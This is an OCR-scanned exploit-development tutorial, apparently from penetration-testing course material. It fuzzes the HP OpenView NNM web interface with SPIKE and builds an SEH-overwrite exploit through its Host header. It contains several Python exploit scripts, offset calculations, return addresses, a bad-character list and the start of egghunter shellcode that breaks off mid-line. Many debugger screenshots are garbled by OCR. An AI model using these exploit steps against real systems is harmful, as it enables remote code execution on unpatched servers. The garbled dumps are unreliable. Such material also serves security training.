
The most efficient fuzzer available to us was spike, written by Dave Itel from Immunitysec.

Spike Overview

As described by its authors, SPIKE is a GPL'd API and set of tools that allows you to quickly create

network protocol stress testers.
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SPIKE works with "blocks" that allows you to keep track of blocks of data, while updating various
length fields accordingly.

Let's examine the following spike fuzzer template:

s_binary("01 00 00 00");

s_binary block_size_byte ("HeaderBlock") ;
s_block_start ("HeaderBlock") ;

s_string variable("Hello");
s_block_end("HeaderBlock") ;

g W

A quick translation of this script is:

Adds "01 00 00 00" to the packet

Reserves 1 Bytes that will be the "HeaderBlock"'s length

Start The "HeaderBlock"

Add a variable string that might change the size of "HeaderBlock"
End "HeaderBlock"

g W

While fuzzing, the size of "HeaderBlock" will change and SPIKE will update the length fields

associated to "HeaderBlock".

Creating custom fuzzers using Spike components

Spike has several components that can be used to easily extend the fuzzer.

generic_send_tcp -generic_send_tcp connects to a target host / port over tcp and fuzz a specific

packet according to a SPIKE script.

generic_send_udp - generic_send_tcp connects to a target host / port over udp and fuzz a specific

packet according to a SPIKE script.

generic_listen_tcp - generic_listen_tcp listens on a specific tcp port, when a connection is made it

fuzzez a specific packet according to a SPIKE script.

generic_listen_udp - generic_listen_tcp listens on a specific udp port, when a connection is made it

fuzzez a specific packet according to a SPIKE script.
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generic_send_stream_tcp - generic_send_stream_tcp connects to a target host / port over tcp and

fuzzez a list of packets (useful for protocols such as HTTP, FTP, POP3 and others)

Fuzzing cleartext protocols with Spike

Peeking in the /pentest/fuzzers/spike/src/audits, we see that we do not have a readymade spike
template for the HTTP protocol. Fortunately, building a new simple template for spike is relatively
easy, using the SPIKE API. We copy over the UPNP protocol template file and use it as a baseline

(the protocols have similar characteristics).

bt audits # pwd
/pentest/fuzzers/spike/src/audits

bt audits # mkdir HTTP

bt audits # cp UPNP/upnpl.spk HTTP/http.spk
bt audits # cd HTTP/

bt HTTP #

Before we create our template, we want to know what HTTP headers are being used in the
communications with the HTTP servers. (Some custom HTTP servers often use extra or unusual
HTTP headers which might contain bugs). We do this easily by capturing traffic with wireshark,
while browsing the HTTP server.
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Follow TCP Stream

Stream Content

GET /topology/home HTTP/L.1

Host: 192.168.240.128:7510

User-Agent: Mozilla/5.8 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080484 Firefox/2.0.0.14

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8:0=0.7,%;0=0.7

Keep-Alive: 380

Connection: keep-alive|

HTTP/L1.1 2688 OK

Content- Type: text/html;charset=I50-8859-1
Date: Thu, 19 Jun 2808 18:39:55 GMT
Content-Language: en-US

Transfer-Encoding: chunked

Server: Apache Tomcat/4.0.4 (HTTP/Ll.1l Connector)

@find @ Save As Eﬁrint Entire conversation (2860 bytes) = ASCIl () EBCDIC () HexDump () C Arrays () Raw
ﬂelp X Close E]Filter Qut This Stream

In this case, we don't see any special HTTP headers, so we proceed to build an HTTP SPIKE fuzzer

template according to this data.

s_string variable (“GET”) ;

s_string(“ “);

s_string variable (“/topology/home”) ;
s_string(“ “);

s_string (“HTTP/1.1");

s_string (“\r\n”) ;

s_string(“Host: “);

s_string variable(#192.168.1.100");
s_string(“:");

s_string_variable (“7510");

s_string (“\r\n”) ;

s_string variable (“User—-Agent”) ;

s_string(“: “);

s_string variable (“Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14)");
s_string (“\r\n\r\n”) ;

We start fuzzing the HP NNM web interface:

bt src # pwd
/pentest/fuzzers/spike/src
bt src # ./generic_send tcp 192.168.240.128 7510 audits/HTTP/http.spk 0 0
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Fuzzing Variable

1:2038
Fuzzing Variable 1:2039
Fuzzing Variable 1:2040
Fuzzing Variable 1:2041
Fuzzing Variable 1:2042
Fuzzing Variable 1:2043
Fuzzing Variable 2:0

Fuzzing Variable 2:1
Variablesize= 5004
Fuzzing Variable 2:2
Variablesize= 5005
Fuzzing Variable 2:3
Variablesize= 21

Olly indicates a crash towards the end of “Variable 1”.
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OllyDbg - ovas.exe - [CPU - thread 000004 _|D|3ﬂ
@ File Wiew Debug Plugins Opbions ‘Window Help -|5’|5|

S x| w1l w4 ¥l 2| » LIE|M|T|WH|C|/|K|B|R|..

BlGcr ooy BE149C DECEAZED| MOW EDW, DWORD FTR OS: [EOR#4+60425E9E , NReaisters (FRLI
BlEcFZ2E| CLEZ LA SHRE EA, 1A T
BlAEFZ91| S3EM @1 AMD _ERH, 1 et Bhanoann
~BFE4 BEABAEAE | JE A1AEFZAB S SR
ZBE1 CHF ER¥, OWORD FTR OS:[ECHI Eh pioeeElh
=2 PLSH_EL: ESF 1172F30a
BlEEF290| FFE2 2@ JMP OWORD PTR OS: [EEX+3@1
EEF 1172F3FA@
BlEEF=AG| 52 FLSH EDX E e
BlEEFZA1| SB4l B MOL EF, DWORD PTR OS: [ECH+4] ke
OlE5FZA4| SE9C9S BSEEREES| MOU EEH,DWORD PTR DS: [ERH+EE:#4+BS]
BlpeFanB| 885530 HOU EOX, DUORD PTR D53 [EEK+301 EIF @1@86F29A
' C @ ES BAZE 2Xhit @
grigeeins) pree i = F B LS BBIB 33bic b
D5: [OOEREOER =777 it
EAX=PABREHER | 8 DI 9623 32bit B
5@ FS PAZE 3zhit 7
T @ G5 PEEE HOLL

Address |[Hex dump ASCIT " GESZEC1E -
BE4GA0EE) 05 B8 08 68 60 B8 B8 EE| ... NIRRT
1178F306| 63163510
BE4B4EEE| B8 DO GE GO B8 0O G5 065 ........ LR PR
BE4E4E16| 48 25 23 29| 6F 76 &1 73| @Bl#iovas R g
BE4E4015 B0 DO B8 BE| 43 4C 41 53|....CLAS iSEens BRStEeE
BR4A4626| 53 50 41 54|45 30 06 Ba| SPATHS..
2R 117EF3ER| BESSS4GS
BR4A4E25| 20 42 B8 BE| 20 58 &0 78| -B.. - 117EF2E9) Desootns
BR4A4E36 31 22 32 £0| 00 0O B8 0G| 123..... s B oenee
BR4E4G32| 25 4F EE EF| A 41 54 48| XOU_PATH IR T
BE4B4E4E| 25 EC EQ 72| &5 GC EQ 72| Hijresdr
1178F3Fa| 1175F44a
BEdE4a4S| 65 51 ZE 54|00 6B 60 06|e1.4.... SRR e
BE4E4EEG| 25 4F E€ EF| 5B 41 54 48| 2OU_PATH R R
BE4E4653| 25 5C 74 €F| 60 63 61 74| toncat ’
1
1
1
1
1
1
1
1
1
1
1

: {PEFEFC| AREEEGEE
BR4B4B60| 5C BA 61 EB|61 75 74 61| ~jakarta
BE4E4BE3| 20 74 6F 6D 63 61 74 20| -tomoat— 1rEpana) oaomooas
BE4E4ETE| 34 PE 30 2E| 24 B8 DO 00| 4.0.4... e s
BR4G4G7E| 25 4F E6 CF| @ 41 54 42| =00 PATH T
BR4G4G5G| 25 EC 74 E0| 78 B8 DO OB| Hvtmp. . T s
BR4G4GZ5| 20 BF £2 SF| 6F 74 63 60| —bootel LT s
BR4B4B9E| 61 T3 T3 TH 61 74 65 2F| asspathe HEEE| PR
BE4G4G95| 61 SA BB 06|60 69 62 2F|ai..libs HEEEE EEiEEEE |
i EERhi e ML o s

edata. ]
PA4GAAER| £1 72 BF DB 20 B8 72 73| ar..-wrs ¥ llceracd] Llvora=d =

|.-'1'-.|:|:ess winlation when reading [00000000] - uze Shit+F7/F3/F9 to pasz exception to pru:l | Fauszed

Although interesting, we will focus on a different crash (this crash did not seem exploitable in any

way). We proceed to look for bugs from “Variable 2”” onwards.

bt src # ./generic_send tcp 192.168.240.128 7510 audits/HTTP/http.spk 2 0

Fuzzing Variable 2:211
Variablesize= 256

Fuzzing Variable 2:212
Variablesize= 240

Fuzzing Variable 2:213
Variablesize= 128

Fuzzing Variable 2:214

Couldn't tcp connect to target
Variablesize= 65534

tried to send to a closed socket!
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Segmentation fault
bt src #

We soon get another crash, with more promising prospects.

OllyDbg - ovas.exe - [CPU - thread 000009CE, module oyukil] - | Ellﬂ
@ File Wiew Debug Plugine Options Window Help - | & |£|
| "I * L] LX X
Bl x| »11] w3+ 30 o »] ] E[s]T|w/a[c|7|K[BR].5)
BELL MO ECH, OWORD FTR D5: CECH]
CA4OOE4C| FESZ 4RRZEERE | CALL DWORD FTR OS:[EDR+248] EEELZEEE§QQEPU]
EA4E0652| SEES HOU ESF, EEF Ery E1EEToE
SA4E0854| 50 FOF EEF __J D% Cecseach
SRA4E0655| CZ2 BCEE RETH &L EE BBESIE4n
SA4E0852| CC INTZ Eor
ER480859| CC IMT2 EBF 1095ECAS
s = e
EDI BB0EEDTS
ER48085C| CC IMT2
SA4E0850| CC IMTS EIF SR4B084A cuutil.SA4E
SA4E085E| CC IMTS :
C B ES BE22 22bit @0FF]
S4sbock| o T e i cc eote szoic otk
O5: [BlEErTed1=rrT it
EDX=S&636960 £ B DF BE2E 32bit @IFFR
S B F5 BE3E 32bit rFFA
T A G5 6688 HUOLL
Add H d UHIC 1895FERY || B8EF3414
TR RN TR R TR =1 1035rEnz|| c042F9E0| jum. cD42F9ED =
e 1B35FEAC || ED4EFAS4| Gum. E042FAS4
B2ES0EED| B9 B9 B8 GO GO GO 0O 08 .... eEEEa || LR
B2GES0EES| B0 B9 G0 GO GO GO 08 08| .... e || pEEEEEES
2050EC0| 81 B8 B B3 HB 62 06 BB 8. eEEee || BRI
GoacDBcs DS B 2 2l 1BDEFEED || B2ES0EES| UMICODE ™3brsssisiiss
E5ES0E0E| 74 68 78 68 37 B8 ZF 08 tps e e
E5G50E0S| 2F B8 SE B8 3E B8 SE 08| < ey EEREE | R
FSES0EES| SE B8 SE BE SE BE SE 08| reed
1B95FECE| | BoRERGES
B2EC0EES| 2E @8 3E B8 3E GO 3E B8 Fikd __J
1B535FECE || Bone8EE1
B2EC0EFD| SE @8 SE BB 3E B@ SE 08| Hiii
G3G50EFS| 3E BB 3E GG 3E B8 3E 88| »pod LEESRER) | el nE
e 1835FEDS || EDSS3C40| RETURN ta jum.S0S3304
1825FEDS || 1925FEEC
E2ES0CES| SE B8 SE BE 3E BE SE B8 Fred
1895FEDC || 182EFECC
E5E50C16| 3E B8 S5E B8 3E DO SE 08| Friy
1825FEER || BpBEmEE1
ESE50C15| SE B8 SE B8 3E BE SE 08| Fad Tooereeall Goanaaas
FSES0CZE| 2E B8 SE B8 SE BE SE 08| Feed
1835FEES | | BonEREEE
B2ES0CE2| 2E @8 3E BB 3E GO 3E B8 Fiad L
B2E50C50| 2E @8 SE BB 3E B8 SE 08| Hiii IBISFEEL| g 1835FF 40
1855FEFE || ED5TLESS| RETURN ta jum.sDS71ES
B2G50CE2| 3E @B SE BB 3E BA IE 0| Fhbd
F2ES0CA0| SE BB SE BE SE BE SE G@| raad 1E35FEFS || 1G2EFF 20
1B25FEFS || BREFI4 16
E3E50C45| SE B8 SE BE SE OO SE 08| Frrr (I
B2A20CSE| 3E BB SE 6@ SE @6 3E 68| ror 1B3SFEFC | BAE 2414
16oEFFaE | | E042F9EG| jum. SD42FSER =
FSGES0C5S| 3E A8 5E B8 3E BE SE 08| b - [EelEanl] | | GiErels)) e e e s
Access violation when reading [616E73684] - use Shift+F 7/F8/FT to pazs excephion to program | | Falzed
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Replicating the crash

We attempt to locate the malformed buffer that was sent in memory, in order to be able to replicate

it in a stand-alone script.

We see that the offending buffer can be recreated using a python script with the following syntax:

#!/usr/bin/python

import socket
import os
import sys

crash = “>" * 1028

buffer=“GET /topology/homeBaseView HTTP/1.1\r\n”

buffer+=“Host: “ + crash + “\r\n”

buffer+=“Content-Type: application/x-www—form-urlencoded\r\n”
buffer+=“User—-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n”
buffer+=“Content-Length: 1048580\r\n\r\n”

print “[*] Sending evil HTTP request to NNMz, ph33r”

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ((“192.168.240.128", 7510))

expl.send (buffer)

expl.close ()

After playing around with various buffer lengths, we find that a 4000 Byte buffer length will
overwrite an internal Structured Exception Handler, which leads us to (theoretically) easy remote

code execution.

Using the Metasploit pattern_create.rb script, we create a unique pattern of 4000 bytes and trigger a

crash, in an attempt to identify the exact bytes that overwrite the SEH.
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5% SEH chain of thread D0DOOE -0 x|
F 9

Address |SE handler
163EFE24 | 45275945

d
0llyDbg - ovas.exe - [CPU - thread D0000E70] - |EI|5|

@Eile Wiews Debug Plugins Options  Window  Help _|E|£|

Bl x| wn] wij+] ¥4 2 =+ L|E|M[T|WH|[c|/|K|B[R|.|S]
a || Registers [(FPU]

= (| ERE BEEERREE

ECx 45376945

E0x FCE2EECE ntdll. 7 CE2H
EEx BB8EQ0EE

ESF 1834E1DC

EEF 1824E1FC

ESI B88EQ0Eas

EOI A8EEAREER

EIF 45375945

C B8 ES BE22 22bit B0FFH
P 1 CZ BElE 22bit B0FFH
? l? S5 @822 S2bit B(FFR
s g
T B

05 @822 S2bit BCFFH
FS 88zE 32bit FFFRY
G5 Aaa8 HULL

Address | Hew durp ‘m TCOCEEEZ| RETURN to ntdl . FCOCEEEE "
1B3EFESS| 95 45 69 95 45 59 Ir 45 1834E1E@] 1834EZEC N
£ |ioz4EiE4| 1@3SFEZ4|mSCII “SEiISEITEISEi9EJEE 1EJZESE
1B2EFE44| 45 60 21 45 6@ 22 45 6@ £
1834E1ES| 1834E2DS
1B2EFEC4 | 6A 26 45 A 97 45 &A 22 4
1G3EFEE4| 31 45 6B 52|45 6B 53 45| ¢ | 1924E1EC| 1834E=38f |
{B2CFE74| 45 6B 2F 4G EB 22 45 6B = 1834E1FA| 1A3EFES4|Fointer to next SEH record
= |im34EiF4| vCE2EECE|SE handler
1E3EFES| 6C 32 45 6C| 33 45 6C 544 e
1B624E1F2| 1B2EFES4|ASCII MEEISEiFEISE (9EJBE 1Ei2E 2E
1ASEFES4| 37 45 6C 23/ 45 &C 39 45| ¢ _
\AS5FER4| 45 60 33 45 60 34 45 s0 = | 1E24EIFCIF1824E204
= |imz4Ezea|| Fo22EE24| RETURN o ntdll.7CS2EESS from nte
1B3EFEE4| 60 28 45 &0 29 45 &E 8| 4
{B3EFEC| 32 45 6E 24| 45 6E oG 45| ¢ | LH24EcBd|) 1834EZED e
£ |ip34Ez0s|| 1935FES4| ASCIT "SEiISEITELSE i9EJEE 1EJ2ESSE
1B2EFED4| 45 6E 29 45 6F 2@ 45 &F £
1624E20C || 1834E205
1GZEFEE4| 6F 24 45 &F 35 45 &F 36 4
\BSEFEF4| 29 45 7@ 2@ 45 7@ =1 45 7 | LES4EZlE|) 16824E298
£ |im34Ez1a|| 4527e048
1ESEFFE| 45 7B 55 45 70 36 45 79| £
1624E212|| GERBEERE
1B3EFF14| 71 28 45 71 =21 45 7l 2|4
\AS5FF24| 35 45 71 96 45 71 o7 a5 7 | 1994EZiC|] 1824E28C e
1ooEFraa| ot 73 51 32(33 &3 af 33|L | 1es4ez2e|| 1835FES4| ASCIT "SEIEEITEiSE 19E PE i 1E 2E i3
{B2CFFE4| 81 45 73 22 45 73 23 45| 7 | LES4Ezes|| 1834ECED S
{BZCFFE4| 45 72 57 45| 72 28 45 73/ = 1834E22C)| 1835FES4| ASCII "SEIGELIFEISEI9EIBEJ1EI2EIZE
1GZEFF74| 74 32 45 74|33 45 74 34| 4] | 19246250 | 1DS4EZDS
1624E224|| 1824E292
1B3SFFS4| 37 45 74 38|45 74 39 45| T 1 goaroan|| soascaqe
1ASEFF34| 45 75 53 45|75 54 45 75| g 1H24Es=0] 45275345 b
|.ﬁ.ccess wviolation when executing [45376345] - use Shift+F 7/F3/F3 to pazs exceplion to program | | Fauzed

We see that SEH is overwritten after the 3381 byte.

bt tools # ./pattern_offset.rb 45376945
3381
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bt tools #

Controlling EIP

We revise our skeleton exploit and confirm control of EIP.

#!/usr/bin/python

import socket
import os
import sys

crash = “A”*3381 +”B”*4 + “C"*615

buffer=“GET /topology/homeBaseView HTTP/1.1\r\n”

buffer+=“Host: “ + crash + “\r\n”

buffer+=“Content-Type: application/x-www—form-urlencoded\r\n”
buffer+=“User—-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n”
buffer+=“Content-Length: 1048580\r\n\r\n”

print “[*] Sending evil HTTP request to NNMz, ph33r”

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ((“192.168.240.128", 7510))

expl.send (buffer)

expl.close ()
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OllyDbg - ovas.exe - [CPU - thread 0000044 _|D|2ﬂ
@ File Wiew Debug Plugine Options Window Help _|E’|5|

Bl x| wn| wi+ ¥4 2 4 L|E|M[T|WH|[C|/|K|B[R|.|S]
& | Registers [(FFU]

T @ EH: DREEEaaE

ECx dzdz2d4z242

E0x VCE2EECE ntdll.FCE2H
EE: DREEEaEE

ESF 1&a34E1DC

EEF 1824E1FC

ESI oBa8E@aas

EOI AR8EAAEE

EIF 42424242
C 8 ES B@22 22bit BLFFH

TUF 1 CS G81E 2%hit G0FF
A8 S5 8023 25hit G0FF
Z 1 DS 8023 32hit BIFFA
S8 FS B@SE Zzbit TFFA
T A G5 8086 HOLL
Address |Hew dump - PLOZEEEZ| RETURN to ntdll, PCEZEEES "

1BS4ELER| 1E34EZEC
dailoaul) 8l B U B 9a) B ) B 1G34E1E4| 1B3SFES4|ASCIT "ARARBEEECCLCCOLCECCOCCInIT
BA4E4E16| 48 22 23 29| 6F 76 &1 72

1A34E1ES| 1834EZ02
BR4E4626| 53 5B 41 54| 45 20 66 68
BR484838| 31 32 95 60| B0 GO DA B9 e e e . - p |
GE4E4a4E| 25 SC 6A 72|65 SC &R TE DURCE E@ DEHY EEEE

1834E1F4| 7CE2EECE|SE handler
BR4E4A56 25 4F 56 SF| 5@ 41 54 43 "
BR4a4nch| 50 £A £l BRI 21 72 34 £ 1634E1FS| 1@3SFES4|ASCIT "ARAREBEBCCCCCCCOCCCCCCOCET

{BZ4ELFC| F 1B24ESA4
BE4E4ETE 24 ZE 30 ZE|24 BE DA 60
RR4RdGLa| 53T EF 74 0| 7@ B0 08 6o 1G34E208| | FCEZEESY | RETURN to ntdll.TOSZEESS from nic

1az4Eza4|| 1824E2EC

finlgaiis) oy, G oe) 21 gy Gl o 1634Ez0a| | 1B35FES4| ASCIT "ARRRBEEECCCCCCCECCCCIToT

BRIGIEAG| 65 TE 74 ZF| 60 EF &5 61

BR4E4EEE| 61 F2 @8 B8 20 52 72 73 1B34E260 )| 1624E202
1az4Ez10|| 1924EZ32

BE4G4GCE| 74 6F SF &C| 72 ZE 6A 61

PR4E4806| 62 &F &F 74|73 74 T2 Bl et | e

PR4AIEER| 20 52 £4 65| 62 75 E7 2@

1e34Ez1c|| 1934E2EC
BE4E4EFE| 78 SA 74 72 61 EE 73 @ o
BA4R4 10| EF B2 SB EE| 74 OF G1 fe 1834Ezz0|| 1935FES4 | ASCIT "ARAREEEECCCOCCCOCCDOCCDICT

fanigdy) 5e BE by B0 B2 B b s Thaaczar|| 19I2FES4| ASCIT "AARABEBECCCOCCCECECECEEENT
BE4E4136| 6F EE 2F 6L 65 &2 BE G

BR404148| 6E &4 &F 72| 73 £5 64 ZE st | e
PR4E4156| 20 44 63 61 74 61 BC 69 et | BEEEAT
PR4E4166| 25 73 98 06| 20 44 63 61 7T -

kW b=l | e k=] LN = == I

|.-'1'-.n::n::ess vialation when executing [42424242] - uze Shift+F 7/F8/F to pazs exception to proadram | | Fauzed

[kl

= LT T P T = LT T Pt = S T T P P P P s T

We can see that a standard “POP POP RET” instruction set will redirect us to 4 bytes previous to

the return address, as SEH overflows usually do.

We start looking for a “POP POP RET” instruction set in the non /GS enabled HP binaries. We find

an apparently suitable return address in ov.dll:

C:\Program Files\HP OpenView\bin>findjump2.exe ov.dll ebx
Findjmp, Eeye, I2S-LaB

Findjmp2, Hat-Squad

Scanning ov.dll for code useable with the ebx register

O0x5A02EF 74 pop ebx — pop - retbis

Finished Scanning ov.dll for code useable with the ebx register
Found 1 usable addresses

C:\Program Files\HP OpenView\bin>
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The problems begin - bad characters

We use this return address to test for proper code execution redirection (owning EIP), however we

do not get the expected result from Ollydbg.

#!/usr/bin/python

import socket

import os

import sys

# POP POP RET OV.DLL 0x5A02EF74
RET = “\x74\xef\x02\x5a”

crash = “A”*3381 +RET + “C”*615

buffer=“GET /topology/homeBaseView HTTP/1.1\r\n”

buffer+=“Host: “ + crash + “\r\n”

buffer+=“Content-Type: application/x-www—form-urlencoded\r\n”
buffer+=“User—-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n”
buffer+=“Content-Length: 1048580\r\n\r\n”

print “[*] Sending evil HTTP request to NNMz, ph33r”

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ((“192.168.240.128", 7510))

expl.send (buffer)

expl.close ()
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OllyDbg - ovas.exe - [CPU - thread 00000584 ] _|D|3ﬂ
@ File Wiew Debug Plugine Options Window Help _|E|£|

Sl x| »n| wi+ ¥4 2 =+ L|E|M[T|WH|[c|/[K|B[R|..|5]
& | Registers [(FFU]
T | ER: AEEEEAEE
ECH B2AFCI274
E0x PCE2EECE ntdll. 7 CE2H
EEx Q8888065
ESF 1@834E1DC
EEF 1834E1FC
ESI ABBEAAEER
EOI A88Eaaaa

EIF B2AFC374

B ES BE22 2Xbit B0FFR
1 CS @ale 22bit BOFFH
B S5 @e22 2Xbit BCFFH
1 DS 8823 3zbit B(FFR
B F3 8838 32bit ¥FFA
B G5 8aEE HULL

Address |Hew dump m TLEEEEEZ| RETURM to ntdll.v0o g
TOOSFELS| 41 41 41 41 41 41 41 41 41 41 41 41 41 lE34E1ER] 1E834EZED

1B34E1E4| 1B3EFESY
1GEEFEZ4| 41 41 41 41 41 41 41 41 41 41 41 41 41

[G35FE34| 41 41 41 41 74 03 AF B2 5A 43 43 43 43 | 1P29EIEE) 1ESAEclE
[035FE44| 43 43 43 43 43 43 43 43 43 43 43 43 43 | 1POEIEC) lEAEETEl . SEH__]
LO3SFESH| 43 43 43 43 43 43 43 43 43 43 43 43 43 | [IIOEIFY| LREEEECY Foipter o nes
[0S5FEE4| 43 43 43 43 43 43 43 43 43 43 93 93 43 | [I2OEIED| (REEEEES andler
[O35FE74| 43 43 43 43 43 43 43 43 43 43 93 43 43 | [DOEIEE| 1EESEESS
[G35FES4| 43 43 43 43 43 43 43 43 43 43 43 43 43 | [PEIEEICIESAESAY e
[GSSFES4| 43 43 43 43 43 43 43 43 43 43 43 43 43 | [72EcTAY| rREcEEES to ntdl L. PoE:
[GSSFER4| 43 43 43 43 43 43 43 43 43 43 43 43 43 | [PoE=nd)| 1EcAEcEL
[G25FEE| 43 43 43 43 43 43 43 43 43 43 43 43 43 | [729E=00)| 1ECSRESY
[GS5FEC| 43 43 43 43 43 43 43 43 43 43 43 43 43 | [729E=00 )| 1ESAES0E
LOSSFEDY| 43 43 43 43 43 43 42 43 43 43 93 43 43 | [22OES10|| 2R EEEE
[OSSFEE4| 43 43 43 43 43 43 43 43 43 43 93 93 43 | [DEOEE10| BEEEE 0
[O35FEF4| 43 43 43 43 43 43 43 43 43 43 93 43 43 | [D20EC1E| TEEEEEE
[G35FFO4| 43 43 43 43 43 43 43 43 43 43 43 43 43 | [72EC 10| 1ESAESET
LBISFF14/43 43 43 4343 43 43 43|43 42 43 43/42 | 1AaEccm | Laoor et ey A
[GS5FF24| 43 43 43 43 43 43 43 43 43 43 43 43 43 | [PE=cd)| REAAELL to ntdll.
[G35FF34| 43 43 43 43 43 43 43 43 43 43 43 43 43 | [729E==E | 1ECAESEL
[G35FF44| 43 43 43 43 43 43 43 43 43 43 43 43 43 | 172E=cL )| 1ECSRES
LO35FFSY| 43 43 43 43 43 43 42 43 43 43 43 93 43__J 02000 1EE0EEEE
[035FFE4| 43 43 43 43 43 43 43 43 43 43 43 43 43§ [DS0EEE0 || 2R EE
LGEEFFT4) 43 43 43 45 43 43 45 45 43 45 43 43 43 T 1oedEeon ]| meare T -

|.-'1'-.n::n::ess wvialation when executing [02AFC374] - use Shift+F 7FB/FT to pazs exception ko prn:ngram| | Falzed

Notice that our return address had been mangled. It looks like the \XEF character has been expanded
into \XC3\xAF. There seems to be some character filtering or translation taking place. This will
obviously have detrimental effects on our return address and shellcode, unless we completely

identity these bad characters, and avoid them completely.

After sending various types of input, we can narrow down the allowed characters to:

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x31\x32\x33\x34\x35\x36\x37\x38
\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c
\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d
\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e
\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f
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The problems continue - alphanumeric shellcode

We now face several problems.

We need to find a “bad character friendly” return address, and we need to figure out how we are

going to write our shellcode which will conform to the restricted allowed instruction sets.

We need to find a replacement for the short jump over the return address (usually a “\xEB”

instruction in SEH overflows).

Finding a return address is easy enough. We find 0x6d356c6e in jvm.dll. This address is
completely alphanumeric, and suits our purposes perfectly...However, how will we deal with the

shellcode?

After making several futile attempts at running different type encoded pre-generated shellcodes, it
sadly becomes clear to us that we will need to encode our shellcode manually, using our specific

restricted character set.

We will use a limited assembly instruction set in order to construct our manually encoded shellcode.
Our manually encoded shellcode will “carve out” the real payload while in memory. We will then
need to make sure that execution flow is redirected to the newly “carved” shellcode. This sounds
much more complex than it really is. Let's get on with creating our encoded shellcode...we will

write it directly into Olly in order to simplify the opcode translations.

Our shellcode should:

1) Be able to Identify its relative location in memory in order to “decode” itself.
2) Be small, as this manual encoding method has a huge overhead in terms of size.
We just need to find a nice cozy place to place our final egg + real payload.

Think outside of the box...
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#!/usr/bin/python

import socket

import os

import sys

crash = “A”*3381 +”\x42\x42\x42\x42"” + “C” * 615

buffer=“GET /topology/homeBaseView HTTP/1.1\r\n”
buffer+=“Host: “ + crash + “\r\n”

buffer+=“Content-Type: application/x-www—form-urlencoded\r\n”
buffer+=“User—-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n”
buffer+=“Content-Length: 1048580\r\n\r\n”

buffer+=“\xcc” * 1500

print “[*] Sending evil HTTP request to NNMz, ph33r”

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ((“192.168.240.128", 7510))

expl.send (buffer)

expl.close ()

We locate our un-mangled, unrestricted, spacious buffer space. However, we see that we do not

have any registers pointing to this buffer.
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The problems persist - return of WO0OTWOOT

] Dump - 03060000..030FFFFF O] x|

AIEEICED| 2F 34 2E 38 28 28 57 69 6E 64 6F 77 ¥3 28 55 S| 4.8 (lindows HP .:J
AZBEICED) 28 35 2E 31 29 28 4H 61 F6 61 2F 31 2E 36 ZE 38| 5.1)1 Javarsl.6.8
BIEEICFD)SF 2B 23 80 BH 42 &F &6E ¥4 65 6E 74 20 4C &5 &E|_B3..Content-Len
AIEEICE0| 67 74 &2 30 2@ 31 26 34 389 35 32 20 B0 BH B0 BA| gth: 1042586,...
BIEELC20CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BEEEICAD|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BIEEICEBO|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BIEEICCO|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
@zEELICOD) CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
AIBEICED| CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
AIBEICFD|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
B2EEIDAD) CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BIEEIDID|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BIEEID20|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BEEEID20|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
B2EELID40| CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BIEEIDE0|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
@zEELIDeD) CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
AZEELIDFD| CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
AZBELIDS0| CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
B2EEID20) CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BIEEIDAD| CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BIEEIDBD|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BEEEIDCO|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC ._J
B2EELIDOOD) CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC

B2EEIDED| CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BZEELIDFD) CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
AZEELIEAD| CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
AIBEIEID|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BEEEIEZ0|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
BIEEIE20|CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC _:J

et Lt M A S T S T o B T o T Bt B et B T A T S T S T B T R e B O O )

All these considerations taken, an egghunter payload comes to mind. It suits us perfectly.

For reference, the 32 byte egghunter shellcode looks like this:

“\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\
